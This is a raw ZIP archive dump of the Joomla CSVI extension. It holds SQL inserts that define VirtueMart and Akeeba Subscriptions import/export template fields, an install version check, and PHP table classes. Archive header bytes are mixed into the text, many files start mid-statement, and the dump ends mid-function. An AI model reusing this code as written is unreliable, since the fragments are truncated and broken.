('customtitle', 'customtitle', 'categoryimport', 'com_virtuemart'), ('slug', 'slug', 'categoryimport', 'com_virtuemart'), ('category_delete', 'category_delete', 'categoryimport', 'com_virtuemart'), ('file_url', 'file_url', 'categoryimport', 'com_virtuemart'), ('file_url_thumb', 'file_url_thumb', 'categoryimport', 'com_virtuemart'), ('file_title', 'file_title', 'categoryimport', 'com_virtuemart'), ('file_description', 'file_description', 'categoryimport', 'com_virtuemart'), ('file_meta', 'file_meta', 'categoryimport', 'com_virtuemart'), /* VirtueMart Manufacturer Categories import */ ('skip', 'skip', 'manufacturercategoryimport', 'com_virtuemart'), ('combine', 'combine', 'manufacturercategoryimport', 'com_virtuemart'), ('mf_category_name', 'mf_category_name', 'manufacturercategoryimport', 'com_virtuemart'), ('mf_category_desc', 'mf_category_desc', 'manufacturercategoryimport', 'com_virtuemart'), ('slug', 'slug', 'manufacturercategoryimport', 'com_virtuemart'), ('mf_category_delete', 'mf_category_delete', 'manufacturercategoryimport', 'com_virtuemart'), /* VirtueMart Manufacturer import */ ('skip', 'skip', 'manufacturerimport', 'com_virtuemart'), ('combine', 'combine', 'manufacturerimport', 'com_virtuemart'), ('mf_name', 'mf_name', 'manufacturerimport', 'com_virtuemart'), ('mf_email', 'mf_email', 'manufacturerimport', 'com_virtuemart'), ('mf_desc', 'mf_desc', 'manufacturerimport', 'com_virtuemart'), ('mf_url', 'mf_url', 'manufacturerimport', 'com_virtuemart'), ('slug', 'slug', 'manufacturerimport', 'com_virtuemart'), ('mf_category_name', 'mf_category_name', 'manufacturerimport', 'com_virtuemart'), ('manufacturer_delete', 'manufacturer_delete', 'manufacturerimport', 'com_virtuemart'), /* VirtueMart Rating import */ ('skip', 'skip', 'ratingimport', 'com_virtuemart'), ('combine', 'combine', 'ratingimport', 'com_virtuemart'), ('product_sku', 'product_sku', 'ratingimport', 'com_virtuemart'), ('vote', 'vote', 'ratingimport', 'com_virtuemart'), ('username', 'username', 'ratingimport', 'com_virtuemart'), /* VirtueMart Medias import */ ('skip', 'skip', 'mediaimport', 'com_virtuemart'), ('combine', 'combine', 'mediaimport', 'com_virtuemart'), ('product_sku', 'product_sku', 'mediaimport', 'com_virtuemart'), ('media_delete', 'media_delete', 'mediaimport', 'com_virtuemart'), /* VirtueMart Order import */ ('skip', 'skip', 'orderimport', 'com_virtuemart'), ('combine', 'combine', 'orderimport', 'com_virtuemart'), ('user_currency', 'user_currency', 'orderimport', 'com_virtuemart'), /* In the format EUR */ ('payment_element', 'payment_element', 'orderimport', 'com_virtuemart'), ('state_name', 'state_name', 'orderimport', 'com_virtuemart'), ('state_2_code', 'state_2_code', 'orderimport', 'com_virtuemart'), ('state_3_code', 'state_3_code', 'orderimport', 'com_virtuemart'), ('virtuemart_state_id', 'virtuemart_state_id', 'orderimport', 'com_virtuemart'), ('country_name', 'country_name', 'orderimport', 'com_virtuemart'), ('country_2_code', 'country_2_code', 'orderimport', 'com_virtuemart'), ('country_3_code', 'country_3_code', 'orderimport', 'com_virtuemart'), ('virtuemart_country_id', 'virtuemart_country_id', 'orderimport', 'com_virtuemart'), ('shipment_element', 'shipment_element', 'orderimport', 'com_virtuemart'), ('order_status_name', 'order_status_name', 'orderimport', 'com_virtuemart'), /* VirtueMart order item import */ ('skip', 'skip', 'orderitemimport', 'com_virtuemart'), ('combine', 'combine', 'orderitemimport', 'com_virtuemart'), ('product_sku', 'product_sku', 'orderitemimport', 'com_virtuemart'), ('order_status_name', 'order_status_name', 'orderitemimport', 'com_virtuemart'), /* VirtueMart shopperfield import */ ('skip', 'skip', 'shopperfieldimport', 'com_virtuemart'), ('combine', 'combine', 'shopperfieldimport', 'com_virtuemart'), ('shopperfield_delete', 'shopperfield_delete', 'shopperfieldimport', 'com_virtuemart'), /* VirtueMart Userinfo import */ ('skip', 'skip', 'userinfoimport', 'com_virtuemart'), ('combine', 'combine', 'userinfoimport', 'com_virtuemart'), ('vendor_name', 'vendor_name', 'userinfoimport', 'com_virtuemart'), ('shopper_group_name', 'shopper_group_name', 'userinfoimport', 'com_virtuemart'), ('address_type', 'address_type', 'userinfoimport', 'com_virtuemart'), ('address_type_name', 'address_type_name', 'userinfoimport', 'com_virtuemart'), ('usergroup_name', 'usergroup_name', 'userinfoimport', 'com_virtuemart'), /* VirtueMart waiting users import */ ('skip', 'skip', 'waitinglistimport', 'com_virtuemart'), ('combine', 'combine', 'waitinglistimport', 'com_virtuemart'), ('product_sku', 'product_sku', 'waitinglistimport', 'com_virtuemart'), ('username', 'username', 'waitinglistimport', 'com_virtuemart'), /* VirtueMart custom field import */ ('skip', 'skip', 'customfieldimport', 'com_virtuemart'), ('combine', 'combine', 'customfieldimport', 'com_virtuemart'), ('plugin_name', 'plugin_name', 'customfieldimport', 'com_virtuemart'), ('vendor_name', 'vendor_name', 'customfieldimport', 'com_virtuemart'), /* VirtueMart calculation rule import */ ('skip', 'skip', 'calcimport', 'com_virtuemart'), ('combine', 'combine', 'calcimport', 'com_virtuemart'), ('currency_code_3', 'currency_code_3', 'calcimport', 'com_virtuemart'), ('category_path', 'category_path', 'calcimport', 'com_virtuemart'), ('shopper_group_name', 'shopper_group_name', 'calcimport', 'com_virtuemart'), ('country_name', 'country_name', 'calcimport', 'com_virtuemart'), ('country_2_code', 'country_2_code', 'calcimport', 'com_virtuemart'), ('country_3_code', 'country_3_code', 'calcimport', 'com_virtuemart'), ('state_name', 'state_name', 'calcimport', 'com_virtuemart'), ('state_2_code', 'state_2_code', 'calcimport', 'com_virtuemart'), ('state_3_code', 'state_3_code', 'calcimport', 'com_virtuemart'), /* VirtueMart category export */ ('category_path', 'category_path', 'categoryexport', 'com_virtuemart'), ('category_name', 'category_name', 'categoryexport', 'com_virtuemart'), ('category_description', 'category_description', 'categoryexport', 'com_virtuemart'), ('metadesc', 'metadesc', 'categoryexport', 'com_virtuemart'), ('metakey', 'metakey', 'categoryexport', 'com_virtuemart'), ('customtitle', 'customtitle', 'categoryexport', 'com_virtuemart'), ('slug', 'slug', 'categoryexport', 'com_virtuemart'), ('file_url', 'file_url', 'categoryexport', 'com_virtuemart'), ('file_url_thumb', 'file_url_thumb', 'categoryexport', 'com_virtuemart'), /* VirtueMart calculation rule export */ ('currency_code_3', 'currency_code_3', 'calcexport', 'com_virtuemart'), ('category_path', 'category_path', 'calcexport', 'com_virtuemart'), ('shopper_group_name', 'shopper_group_name', 'calcexport', 'com_virtuemart'), ('country_name', 'country_name', 'calcexport', 'com_virtuemart'), ('country_2_code', 'country_2_code', 'calcexport', 'com_virtuemart'), ('country_3_code', 'country_3_code', 'calcexport', 'com_virtuemart'), ('state_name', 'state_name', 'calcexport', 'com_virtuemart'), ('state_2_code', 'state_2_code', 'calcexport', 'com_virtuemart'), ('state_3_code', 'state_3_code', 'calcexport', 'com_virtuemart'), /* VirtueMart Manufacturer export */ ('mf_name', 'mf_name', 'manufacturerexport', 'com_virtuemart'), ('mf_email', 'mf_email', 'manufacturerexport', 'com_virtuemart'), ('mf_desc', 'mf_desc', 'manufacturerexport', 'com_virtuemart'), ('mf_url', 'mf_url', 'manufacturerexport', 'com_virtuemart'), ('slug', 'slug', 'manufacturerexport', 'com_virtuemart'), ('mf_category_name', 'mf_category_name', 'manufacturerexport', 'com_virtuemart'), /* VirtueMart medias export */ ('product_sku', 'product_sku', 'mediaexport', 'com_virtuemart'), /* VirtueMart order export */ ('custom', 'custom', 'orderexport', 'com_virtuemart'), ('user_currency', 'user_currency', 'orderexport', 'com_virtuemart'), /* In the format EUR */ ('payment_element', 'payment_element', 'orderexport', 'com_virtuemart'), ('state_name', 'state_name', 'orderexport', 'com_virtuemart'), ('state_2_code', 'state_2_code', 'orderexport', 'com_virtuemart'), ('state_3_code', 'state_3_code', 'orderexport', 'com_virtuemart'), ('virtuemart_state_id', 'virtuemart_state_id', 'orderexport', 'com_virtuemart'), ('country_name', 'country_name', 'orderexport', 'com_virtuemart'), ('country_2_code', 'country_2_code', 'orderexport', 'com_virtuemart'), ('country_3_code', 'country_3_code', 'orderexport', 'com_virtuemart'), ('virtuemart_country_id', 'virtuemart_country_id', 'orderexport', 'com_virtuemart'), ('shipment_element', 'shipment_element', 'orderexport', 'com_virtuemart'), ('order_status_name', 'order_status_name', 'orderexport', 'com_virtuemart'), ('full_name', 'full_name', 'orderexport', 'com_virtuemart'), ('username', 'username', 'orderexport', 'com_virtuemart'), ('total_order_items', 'total_order_items', 'orderexport', 'com_virtuemart'), ('discount_percentage', 'discount_percentage', 'orderexport', 'com_virtuemart'), ('product_price_total', 'product_price_total', 'orderexport', 'com_virtuemart'), /* VirtueMart order item export */ ('full_name', 'fullname', 'orderitemexport', 'com_virtuemart'), ('product_sku', 'product_sku', 'orderitemexport', 'com_virtuemart'), ('order_status_name', 'order_status_name', 'orderitemexport', 'com_virtuemart'), /* VirtueMart Product export */ ('custom', 'custom', 'productexport', 'com_virtuemart'), ('product_price', 'product_price', 'productexport', 'com_virtuemart'), ('shopper_group_name', 'shopper_group_name', 'productexport', 'com_virtuemart'), ('shopper_group_name_price', 'shopper_group_name_price', 'productexport', 'com_virtuemart'), ('related_products', 'related_products', 'productexport', 'com_virtuemart'), ('category_id', 'category_id', 'productexport', 'com_virtuemart'), ('category_path', 'category_path', 'productexport', 'com_virtuemart'), ('product_box', 'product_box', 'productexport', 'com_virtuemart'), ('product_parent_sku', 'product_parent_sku', 'productexport', 'com_virtuemart'), ('product_name', 'product_name', 'productexport', 'com_virtuemart'), ('product_s_desc', 'product_s_desc', 'productexport', 'com_virtuemart'), ('product_desc', 'product_desc', 'productexport', 'com_virtuemart'), ('metadesc', 'metadesc', 'productexport', 'com_virtuemart'), ('metakey', 'metakey', 'productexport', 'com_virtuemart'), ('customtitle', 'customtitle', 'productexport', 'com_virtuemart'), ('slug', 'slug', 'productexport', 'com_virtuemart'), ('picture_url', 'picture_url', 'productexport', 'com_virtuemart'), ('override', 'override', 'productexport', 'com_virtuemart'), ('product_override_price', 'product_override_price', 'productexport', 'com_virtuemart'), ('product_currency', 'product_currency', 'productexport', 'com_virtuemart'), ('custom_shipping', 'custom_shipping', 'productexport', 'com_virtuemart'), ('basepricewithtax', 'basepricewithtax', 'productexport', 'com_virtuemart'), ('discountedpricewithouttax', 'discountedpricewithouttax', 'productexport', 'com_virtuemart'), ('pricebeforetax', 'pricebeforetax', 'productexport', 'com_virtuemart'), ('salesprice', 'salesprice', 'productexport', 'com_virtuemart'), ('taxamount', 'taxamount', 'productexport', 'com_virtuemart'), ('discountamount', 'discountamount', 'productexport', 'com_virtuemart'), ('pricewithouttax', 'pricewithouttax', 'productexport', 'com_virtuemart'), ('manufacturer_name', 'manufacturer_name', 'productexport', 'com_virtuemart'), ('custom_title', 'custom_title', 'productexport', 'com_virtuemart'), ('custom_value', 'custom_value', 'productexport', 'com_virtuemart'), ('custom_price', 'custom_price', 'productexport', 'com_virtuemart'), ('custom_param', 'custom_param', 'productexport', 'com_virtuemart'), ('file_url', 'file_url', 'productexport', 'com_virtuemart'), ('file_url_thumb', 'file_url_thumb', 'productexport', 'com_virtuemart'), ('min_order_level', 'min_order_level', 'productexport', 'com_virtuemart'), ('max_order_level', 'max_order_level', 'productexport', 'com_virtuemart'), /* VirtueMart Rating export */ ('custom', 'custom', 'ratingexport', 'com_virtuemart'), ('product_sku', 'product_sku', 'ratingexport', 'com_virtuemart'), ('vote', 'vote', 'ratingexport', 'com_virtuemart'), ('username', 'username', 'ratingexport', 'com_virtuemart'), /* VirtueMart Shopperfield export */ ('custom', 'custom', 'shopperfieldexport', 'com_virtuemart'), /* VirtueMart Userinfo export */ ('custom', 'custom', 'userinfoexport', 'com_virtuemart'), ('full_name', 'fullname', 'userinfoexport', 'com_virtuemart'), ('vendor_name', 'vendor_name', 'userinfoexport', 'com_virtuemart'), ('shopper_group_name', 'shopper_group_name', 'userinfoexport', 'com_virtuemart'), ('address_type', 'address_type', 'userinfoexport', 'com_virtuemart'), ('address_type_name', 'address_type_name', 'userinfoexport', 'com_virtuemart'), ('usergroup_name', 'usergroup_name', 'userinfoexport', 'com_virtuemart'), ('country_name', 'country_name', 'userinfoexport', 'com_virtuemart'), ('country_2_code', 'country_2_code', 'userinfoexport', 'com_virtuemart'), ('country_3_code', 'country_3_code', 'userinfoexport', 'com_virtuemart'), ('state_name', 'state_name', 'userinfoexport', 'com_virtuemart'), ('state_2_code', 'state_2_code', 'userinfoexport', 'com_virtuemart'), ('state_3_code', 'state_3_code', 'userinfoexport', 'com_virtuemart'), /* VirtueMart Waiting users export */ ('custom', 'custom', 'waitinglistexport', 'com_virtuemart'), ('product_sku', 'product_sku', 'waitinglistexport', 'com_virtuemart'), ('username', 'username', 'waitinglistexport', 'com_virtuemart'), /* VirtueMart Custom field export */ ('custom', 'custom', 'customfieldexport', 'com_virtuemart'), ('plugin_name', 'plugin_name', 'customfieldexport', 'com_virtuemart'), ('vendor_name', 'vendor_name', 'customfieldexport', 'com_virtuemart'), /* Akeeba Subscriptions subscription export */ ('custom', 'custom', 'subscriptionexport', 'com_akeebasubs'), ('name', 'name', 'subscriptionexport', 'com_akeebasubs'), ('username', 'username', 'subscriptionexport', 'com_akeebasubs'), ('email', 'email', 'subscriptionexport', 'com_akeebasubs'), ('password', 'password', 'subscriptionexport', 'com_akeebasubs'), /* Akeeba Subscriptions affiliate export */ ('custom', 'custom', 'affiliateexport', 'com_akeebasubs'), ('money_owed', 'money_owed', 'affiliateexport', 'com_akeebasubs'), ('money_paid', 'money_paid', 'affiliateexport', 'com_akeebasubs'), ('total_commission', 'total_commission', 'affiliateexport', 'com_akeebasubs'), /* Akeeba Subscriptions coupon export */ ('custom', 'custom', 'couponexport', 'com_akeebasubs'), ('name', 'name', 'couponexport', 'com_akeebasubs'), ('username', 'username', 'couponexport', 'com_akeebasubs'), ('email', 'email', 'couponexport', 'com_akeebasubs'), ('password', 'password', 'couponexport', 'com_akeebasubs'), /* Akeeba Subscriptions coupon import */ ('skip', 'skip', 'couponimport', 'com_akeebasubs'), ('username', 'username', 'couponimport', 'com_akeebasubs'), ('subscription_title', 'subscription_title', 'couponimport', 'com_akeebasubs'), /* Comma separated value */ /* Akeeba Subscriptions subscription import */ ('skip', 'skip', 'subscriptionimport', 'com_akeebasubs'), ('subscription_delete', 'subscription_delete', 'subscriptionimport', 'com_akeebasubs'), ('subscription_title', 'subscription_title', 'subscriptionimport', 'com_akeebasubs'), ('name', 'name', 'subscriptionimport', 'com_akeebasubs'), ('username', 'username', 'subscriptionimport', 'com_akeebasubs'), ('email', 'email', 'subscriptionimport', 'com_akeebasubs'), ('password', 'password', 'subscriptionimport', 'com_akeebasubs'), /* Akeeba Subscriptions affiliate import */ ('skip', 'skip', 'affiliateimport', 'com_akeebasubs'), ('affiliate_delete', 'affiliate_delete', 'affiliateimport', 'com_akeebasubs'), ('username', 'username', 'affiliateimport', 'com_akeebasubs'), ('amount', 'amount', 'affiliateimport', 'com_akeebasubs');PKs>\#com_csvi/install/com_virtuemart.sqlnuW+ADELETE FROM `#__csvi_template_tables` WHERE `component` = 'com_virtuemart'; INSERT IGNORE INTO `#__csvi_template_tables` (`template_type_name`, `template_table`, `component`) VALUES ('calcexport', 'calcexport', 'com_virtuemart'), ('calcexport', 'virtuemart_calcs', 'com_virtuemart'), ('calcimport', 'calcimport', 'com_virtuemart'), ('calcimport', 'virtuemart_calcs', 'com_virtuemart'), ('categoryexport', 'categoryexport', 'com_virtuemart'), ('categoryexport', 'virtuemart_categories', 'com_virtuemart'), ('categoryimport', 'categoryimport', 'com_virtuemart'), ('categoryimport', 'virtuemart_categories', 'com_virtuemart'), ('couponexport', 'couponexport', 'com_virtuemart'), ('couponexport', 'virtuemart_coupons', 'com_virtuemart'), ('couponimport', 'couponimport', 'com_virtuemart'), ('couponimport', 'virtuemart_coupons', 'com_virtuemart'), ('customfieldimport', 'customfieldimport', 'com_virtuemart'), ('customfieldimport', 'virtuemart_customs', 'com_virtuemart'), ('customfieldexport', 'customfieldexport', 'com_virtuemart'), ('customfieldexport', 'virtuemart_customs', 'com_virtuemart'), ('manufacturercategoryimport', 'manufacturercategoryimport', 'com_virtuemart'), ('manufacturercategoryimport', 'virtuemart_manufacturercategories', 'com_virtuemart'), ('manufacturerexport', 'manufacturerexport', 'com_virtuemart'), ('manufacturerexport', 'virtuemart_manufacturers', 'com_virtuemart'), ('manufacturerimport', 'manufacturerimport', 'com_virtuemart'), ('manufacturerimport', 'virtuemart_manufacturers', 'com_virtuemart'), ('mediaexport', 'mediaexport', 'com_virtuemart'), ('mediaexport', 'virtuemart_medias', 'com_virtuemart'), ('mediaimport', 'mediaimport', 'com_virtuemart'), ('mediaimport', 'virtuemart_medias', 'com_virtuemart'), ('orderexport', 'orderexport', 'com_virtuemart'), ('orderexport', 'virtuemart_orders', 'com_virtuemart'), ('orderexport', 'virtuemart_order_userinfos', 'com_virtuemart'), ('orderimport', 'orderimport', 'com_virtuemart'), ('orderimport', 'virtuemart_orders', 'com_virtuemart'), ('orderimport', 'virtuemart_order_userinfos', 'com_virtuemart'), ('orderitemexport', 'orderitemexport', 'com_virtuemart'), ('orderitemexport', 'virtuemart_order_items', 'com_virtuemart'), ('orderitemimport', 'orderitemimport', 'com_virtuemart'), ('orderitemimport', 'virtuemart_order_items', 'com_virtuemart'), ('productexport', 'productexport', 'com_virtuemart'), ('productexport', 'virtuemart_products', 'com_virtuemart'), ('productimport', 'productimport', 'com_virtuemart'), ('productimport', 'virtuemart_products', 'com_virtuemart'), ('ratingexport', 'ratingexport', 'com_virtuemart'), ('ratingexport', 'virtuemart_rating_reviews', 'com_virtuemart'), ('ratingimport', 'ratingimport', 'com_virtuemart'), ('ratingimport', 'virtuemart_rating_reviews', 'com_virtuemart'), ('shopperfieldexport', 'shopperfieldexport', 'com_virtuemart'), ('shopperfieldexport', 'virtuemart_userfields', 'com_virtuemart'), ('shopperfieldimport', 'shopperfieldimport', 'com_virtuemart'), ('shopperfieldimport', 'virtuemart_userfields', 'com_virtuemart'), ('userinfoexport', 'userinfoexport', 'com_virtuemart'), ('userinfoexport', 'users', 'com_virtuemart'), ('userinfoexport', 'virtuemart_userinfos', 'com_virtuemart'), ('userinfoexport', 'virtuemart_vmusers', 'com_virtuemart'), ('userinfoimport', 'userinfoimport', 'com_virtuemart'), ('userinfoimport', 'users', 'com_virtuemart'), ('userinfoimport', 'virtuemart_userinfos', 'com_virtuemart'), ('userinfoimport', 'virtuemart_vmusers', 'com_virtuemart'), ('waitinglistexport', 'virtuemart_waitingusers', 'com_virtuemart'), ('waitinglistexport', 'waitinglistexport', 'com_virtuemart'), ('waitinglistimport', 'virtuemart_waitingusers', 'com_virtuemart'), ('waitinglistimport', 'waitinglistimport', 'com_virtuemart'); DELETE FROM `#__csvi_template_types` WHERE `component` = 'com_virtuemart'; INSERT IGNORE INTO `#__csvi_template_types` (`template_type_name`, `template_type`, `component`, `url`, `options`) VALUES ('categoryexport', 'export', 'com_virtuemart', 'index.php?option=com_virtuemart&view=category', 'file,fields,category,layout,email,limit'), ('categoryimport', 'import', 'com_virtuemart', 'index.php?option=com_virtuemart&view=category', 'category_file,fields,category,category_image,category_path,limit'), ('couponexport', 'export', 'com_virtuemart', 'index.php?option=com_virtuemart&view=coupon', 'file,fields,layout,email,limit'), ('couponimport', 'import', 'com_virtuemart', 'index.php?option=com_virtuemart&view=coupon', 'file,fields,limit'), ('manufacturercategoryimport', 'import', 'com_virtuemart', 'index.php?option=com_virtuemart&view=manufacturercategories', 'file,fields,manufacturer_category'), ('manufacturerexport', 'export', 'com_virtuemart', 'index.php?option=com_virtuemart&view=manufacturer', 'file,fields,manufacturer,layout,email,limit'), ('manufacturerimport', 'import', 'com_virtuemart', 'index.php?option=com_virtuemart&view=manufacturer', 'manufacturer_file,fields,manufacturer'), ('orderexport', 'export', 'com_virtuemart', 'index.php?option=com_virtuemart&view=orders', 'file,fields,order,layout,email,limit'), ('orderimport', 'import', 'com_virtuemart', 'index.php?option=com_virtuemart&view=orders', 'file,fields,limit'), ('orderitemexport', 'export', 'com_virtuemart', NULL, 'file,fields,orderitem,layout,email,limit'), ('orderitemimport', 'import', 'com_virtuemart', NULL, 'file,fields,order_item'), ('productexport', 'export', 'com_virtuemart', 'index.php?option=com_virtuemart&view=product', 'file,fields,product,layout,email,shipping,limit'), ('mediaexport', 'export', 'com_virtuemart', 'index.php?option=com_virtuemart&view=media', 'file,fields,layout,email,limit'), ('mediaimport', 'import', 'com_virtuemart', 'index.php?option=com_virtuemart&view=media', 'file,fields,media,media_image,media_path'), ('productimport', 'import', 'com_virtuemart', 'index.php?option=com_virtuemart&view=product', 'file,fields,product,image,product_path,limit'), ('ratingexport', 'export', 'com_virtuemart', 'index.php?option=com_virtuemart&view=ratings', 'file,fields,layout,email,limit'), ('ratingimport', 'import', 'com_virtuemart', 'index.php?option=com_virtuemart&view=ratings', 'file,fields'), ('customfieldimport', 'import', 'com_virtuemart', 'index.php?option=com_virtuemart&view=custom', 'file,fields,limit'), ('customfieldexport', 'export', 'com_virtuemart', 'index.php?option=com_virtuemart&view=custom', 'file,fields,layout,email,limit'), ('shopperfieldexport', 'export', 'com_virtuemart', 'index.php?option=com_virtuemart&view=userfields', 'file,fields,layout,email,limit'), ('shopperfieldimport', 'import', 'com_virtuemart', 'index.php?option=com_virtuemart&view=userfields', 'file,fields'), ('waitinglistexport', 'export', 'com_virtuemart', NULL, 'file,fields,layout,email,limit'), ('waitinglistimport', 'import', 'com_virtuemart', NULL, 'file,fields,limit'), ('userinfoexport', 'export', 'com_virtuemart', 'index.php?option=com_virtuemart&view=user', 'file,fields,userinfo,layout,email,limit'), ('userinfoimport', 'import', 'com_virtuemart', 'index.php?option=com_virtuemart&view=user', 'file,fields'), ('calcimport', 'import', 'com_virtuemart', 'index.php?option=com_virtuemart&view=calc', 'file,fields,calc,limit'), ('calcexport', 'export', 'com_virtuemart', 'index.php?option=com_virtuemart&view=calc', 'file,fields,calc,limit');PKs>\c@com_csvi/config.xmlnuW+A

      PKs>\zenqueueMessage(JText::sprintf('COM_CSVI_PHP_VERSION_ERROR', phpversion()), 'error'); return false; } // Check if the Joomla version is correct $version = new JVersion(); if (version_compare($version->getShortVersion(), '2.5', '<') == '-1') { $app = JFactory::getApplication(); $app->enqueueMessage(JText::sprintf('COM_CSVI_JOOMLA_VERSION_ERROR', $version->getShortVersion()), 'error'); return false; } // Check if there is an entry in the schemas table if ($type == 'update') { $db = JFactory::getDbo(); // Get the extension id first $query = $db->getQuery(true); $query->select('extension_id')->from('#__extensions')->where($db->qn('type').'='.$db->q('component'))->where($db->qn('element').'='.$db->q('com_csvi')); $db->setQuery($query); $eid = $db->loadResult(); if ($eid) { // Check if there is a version in the schemas table $query->clear(); $query->select('version_id') ->from('#__schemas') ->where('extension_id = ' . $eid); $db->setQuery($query); $version = $db->loadResult(); if (empty($version)) { // Get the current CSVI version $query->clear(); $query->select('params') ->from('#__csvi_settings') ->where('id = 2'); $db->setQuery($query); $version = $db->loadResult(); // Add the version number $query->clear(); $query->insert('#__schemas')->values($eid.','.$db->q($version)); $db->setQuery($query); $db->query(); } } } return true; } /** * method to run after an install/update/uninstall method * * @return void */ function postflight($type, $parent) { // Load the CSS ?> '; echo JHtml::_('link', JRoute::_('index.php?option=com_csvi&view=install'), JText::_('COM_CSVI_CONTINUE_SETUP')); echo ''; } }PKs>\com_csvi/index.htmlnuW+APKs>\v?$com_csvi/tables/csvi_log_details.phpnuW+A $value) { if (substr($name, 0, 1) != '_') $this->$name = $value; } } } ?>PKs>\ ,EE'com_csvi/tables/csvi_template_types.phpnuW+APKs>\̼mcom_csvi/tables/settings.phpnuW+APKs>\com_csvi/tables/index.htmlnuW+APKs>\(O~~com_csvi/tables/replacement.phpnuW+APKs>\]q com_csvi/tables/templatetype.phpnuW+APKs>\5oo5com_csvi/tables/com_virtuemart/manufacturers_lang.phpnuW+Ainput; $template = $jinput->get('template', null, null); parent::__construct('#__virtuemart_manufacturers_'.$template->get('language', 'general'), 'virtuemart_manufacturer_id', $db ); } /** * Check if the manufacturer exists * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function check($create = true) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); if (!empty($this->virtuemart_manufacturer_id)) { $query = $db->getQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where($db->qn($this->_tbl_key).' = '.$db->q($this->virtuemart_manufacturer_id)); $db->setQuery($query); $id = $db->loadResult(); if ($id > 0) { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_MANUFACTURER_EXISTS'), true); return false; } else { if ($create) { // Create a dummy entry for updating $query = "INSERT IGNORE INTO ".$this->_tbl." (".$db->qn($this->_tbl_key).") VALUES (".$db->q($this->virtuemart_manufacturer_id).")"; $db->setQuery($query); if ($db->query()) return true; else { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_MANUFACTURER_NOT_EXISTS'), true); return false; } } else { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_MANUFACTURER_NOT_EXISTS'), true); return false; } } } else { $query = $db->getQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where('mf_name = '.$db->q($this->mf_name)); $db->setQuery($query); $id = $db->loadResult(); if ($id > 0) { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_MANUFACTURER_EXISTS'), true); $this->virtuemart_manufacturer_id = $id; $this->load(); return true; } else { if ($create) { // Find the highest ID $query = $db->getQuery(true); $query->select('MAX(virtuemart_manufacturer_id)'); $query->from($this->_tbl); $db->setQuery($query); $maxid = $db->loadResult(); $maxid++; // Create a dummy entry for updating $query = "INSERT IGNORE INTO ".$this->_tbl." (".$db->qn($this->_tbl_key).") VALUES (".$db->q($maxid).")"; $db->setQuery($query); if ($db->query()) { $this->virtuemart_manufacturer_id = $maxid; return true; } else { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_MANUFACTURER_NOT_EXISTS'), true); return false; } } else { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_MANUFACTURER_NOT_EXISTS'), true); return false; } } } } /** * Create a slug if needed and store the product * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function store() { if (empty($this->slug)) { // Create the slug $this->_validateSlug(); } return parent::store(); } /** * Validate a slug * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ private function _validateSlug() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Create the slug $this->slug = Com_virtuemart::createSlug($this->mf_name); // Check if the slug exists $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('COUNT('.$db->qn($this->_tbl_key).')'); $query->from($this->_tbl); $query->where($db->qn('slug').' = '.$db->q($this->slug)); $db->setQuery($query); $slugs = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_CHECK_MANUFACTURER_SLUG'), true); if ($slugs > 0) { $jdate = JFactory::getDate(); $this->slug .= $jdate->format("Y-m-d-h-i-s").mt_rand(); } } /** * Reset the table fields, need to do it ourselves as the fields default is not NULL * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PKs>\d"*com_csvi/tables/com_virtuemart/coupons.phpnuW+Avirtuemart_coupon_id)) return true; else { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where('coupon_code ='.$db->Quote($this->coupon_code)); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_CHECK_COUPON_CODE_EXISTS'), true); $db->query(); if ($db->getAffectedRows() > 0) { $this->virtuemart_coupon_id = $db->loadResult(); } } } /** * Reset the keys including primary key * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?> PKs>\r,com_csvi/tables/com_virtuemart/userinfos.phpnuW+AgetFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PKs>\)(com_csvi/tables/com_virtuemart/.htaccessnuW+A Order allow,deny Deny from all PKs>\.Gff(com_csvi/tables/com_virtuemart/users.phpnuW+AgetFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PKs>\ S)com_csvi/tables/com_virtuemart/orders.phpnuW+AgetFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PKs>\AXX7com_csvi/tables/com_virtuemart/vmuser_shoppergroups.phpnuW+Avirtuemart_user_id) && !empty($this->virtuemart_shoppergroup_id)) { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where('virtuemart_user_id = '.$this->virtuemart_user_id); $query->where('virtuemart_shoppergroup_id = '.$this->virtuemart_shoppergroup_id); $db->setQuery($query); $this->id = $db->loadResult(); } } /** * Reset the keys including primary key * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PKs>\B++2com_csvi/tables/com_virtuemart/categories_xref.phpnuW+Acheck(); if($k) { $ret = $this->_db->updateObject( $this->_tbl, $this, 